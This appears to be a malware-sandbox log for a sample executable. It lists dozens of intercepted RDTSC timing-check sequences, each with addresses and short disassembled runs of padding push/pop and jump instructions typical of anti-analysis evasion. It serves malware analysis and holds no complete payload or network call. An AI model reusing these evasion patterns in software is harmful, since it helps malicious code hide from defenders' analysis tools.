Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF13EE second address: AF1402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0B534805Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF1402 second address: AF1406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF1406 second address: AF1460 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD0B5348056h 0x00000008 jmp 00007FD0B5348064h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FD0B5348066h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push ebx 0x0000001b pushad 0x0000001c jl 00007FD0B5348056h 0x00000022 jmp 00007FD0B5348066h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF1701 second address: AF1705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA537C second address: AA53E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD0B5348069h 0x00000008 jmp 00007FD0B5348068h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov edx, 37250AE1h 0x00000018 mov ecx, dword ptr [ebp+122D2BACh] 0x0000001e mov ebx, dword ptr [ebp+12489547h] 0x00000024 mov dword ptr [ebp+122D17E2h], esi 0x0000002a add eax, ebx 0x0000002c mov dword ptr [ebp+1244DD8Bh], ebx 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jbe 00007FD0B534805Ch 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA53E0 second address: AA53E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA53E4 second address: AA5480 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FD0B5348058h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push eax 0x00000027 movsx edi, bx 0x0000002a pop edi 0x0000002b push 00000004h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007FD0B5348058h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 0000001Dh 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 mov ecx, 7A4F079Ah 0x0000004c nop 0x0000004d jmp 00007FD0B5348065h 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FD0B5348065h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA5480 second address: AA549B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483374h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF183B second address: AF1840 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF5AAC second address: AF5AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF5AB0 second address: AF5AB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF5AB4 second address: AF5ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF5ABA second address: AF5AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF5DD6 second address: AF5DDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF60AA second address: AF60B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF61DE second address: AF61E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF61E6 second address: AF61F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF61F1 second address: AF61F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF61F7 second address: AF6213 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348068h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF636C second address: AF6371 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AF6371 second address: AF639B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD0B5348056h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007FD0B5348067h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AFCFAC second address: AFCFB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AFCFB2 second address: AFCFBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AFE423 second address: AFE42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AFE9B2 second address: AFE9D4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD0B5348056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007FD0B5348062h 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AFE9D4 second address: AFE9D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AFE9D8 second address: AFE9DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B02A72 second address: B02A8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483378h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B02A8E second address: B02A98 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD0B5348062h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B02BFF second address: B02C16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FD0B5483371h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0303D second address: B03069 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Eh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FD0B534805Ch 0x00000011 js 00007FD0B5348056h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B03069 second address: B03092 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD0B548337Eh 0x00000008 jmp 00007FD0B5483376h 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B03200 second address: B0320A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0320A second address: B03214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD0B5483366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B033A7 second address: B033AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B033AB second address: B033B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B033B1 second address: B033B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B033B7 second address: B033BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B033BC second address: B033C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B033C2 second address: B033C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0353D second address: B0356F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD0B534805Ah 0x00000008 push edi 0x00000009 pop edi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 jns 00007FD0B5348056h 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b jc 00007FD0B534806Bh 0x00000021 jmp 00007FD0B534805Fh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B036CF second address: B036D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B036D7 second address: B036DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B036DB second address: B036EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B548336Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B085DC second address: B08602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD0B5348056h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007FD0B5348067h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B08602 second address: B0862D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FD0B548336Ah 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FD0B5483373h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0862D second address: B08632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A60CBA second address: A60CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0B5483376h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A60CD5 second address: A60CE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD0B534805Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A60CE7 second address: A60CEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B10405 second address: B10429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD0B5348056h 0x0000000a jmp 00007FD0B5348069h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B10429 second address: B10452 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FD0B548336Bh 0x00000008 jmp 00007FD0B5483374h 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B10452 second address: B10456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B10456 second address: B1045A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B1045A second address: B10469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B10469 second address: B10473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD0B5483366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0E736 second address: B0E73C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0E73C second address: B0E742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0E742 second address: B0E746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0E746 second address: B0E763 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FD0B5483366h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FD0B548336Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0E763 second address: B0E767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0E767 second address: B0E76B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0EC02 second address: B0EC0C instructions: 0x00000000 rdtsc 0x00000002 je 00007FD0B5348062h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0EC0C second address: B0EC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0EC12 second address: B0EC2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 jg 00007FD0B5348056h 0x0000000e jmp 00007FD0B534805Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0EC2D second address: B0EC3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD0B5483366h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0ED96 second address: B0ED9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0EFFD second address: B0F003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0F003 second address: B0F00B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0F00B second address: B0F036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD0B5483366h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD0B5483370h 0x00000012 jmp 00007FD0B548336Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0F18B second address: B0F191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0F191 second address: B0F1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0B5483379h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0F1AE second address: B0F1B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0F34B second address: B0F356 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0F493 second address: B0F4A3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FD0B534805Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0FBBD second address: B0FBC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0E1DF second address: B0E1E4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0E1E4 second address: B0E1EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B0E1EC second address: B0E1F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B175E0 second address: B175E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B234B1 second address: B234D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FD0B5348056h 0x0000000a popad 0x0000000b push esi 0x0000000c jnl 00007FD0B5348056h 0x00000012 jmp 00007FD0B534805Ah 0x00000017 pop esi 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B388A3 second address: B388A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B388A7 second address: B388AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B388AD second address: B388BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FD0B5483366h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B3C843 second address: B3C866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD0B5348060h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B3C866 second address: B3C87A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD0B5483366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B425A4 second address: B425AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B40E4F second address: B40E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B40E54 second address: B40E59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B4184D second address: B41853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B41853 second address: B41860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jng 00007FD0B534805Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B44F34 second address: B44F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B44F3A second address: B44F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
